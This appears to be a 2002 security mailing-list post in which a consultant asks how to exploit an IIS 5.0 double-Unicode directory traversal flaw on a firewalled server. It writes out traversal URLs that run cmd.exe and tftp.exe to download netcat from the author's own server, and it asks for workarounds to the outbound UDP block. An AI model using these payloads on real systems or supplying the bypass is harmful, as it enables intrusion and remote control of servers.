From: Gaziel, Avishay (agaziel@kpmg.com)
Date: Tue Jul 09 2002 - 12:33:00 EDT
Hi All,
Situation:
An IIS5.0 vulnerable to unicode.("double Unicode" i.e. ..%255c.. etc.)
IIS sitting behind a firewall.
Problem:
host/scripts/..%255c.........../winnt/system32/cmd.exe?/tftp+-i+myserver+get
+nc.exe doesn't work
I keep getting (from my pumpkin tftp server) an error message saying that
there's something wrong with the variables.
another strange thing is that even if I don't get the error message the tftp
session will not start and will timeout, if I deny access I keep getting
access requests from the IIS.(Pumpkin is configured to prompt whenever a
download/upload starts)
What have I tried to do?
Use
host/scripts/..%255c.........../winnt/system32/tftp.exe+-i+myserver+get+nc.e
xe instead of the above mentioned...doesn't work as well.
What do I think is wrong?
The FW is blocking all udp traffic out.
What do I need?
1. Suggestions
2.Workarounds
Avishay
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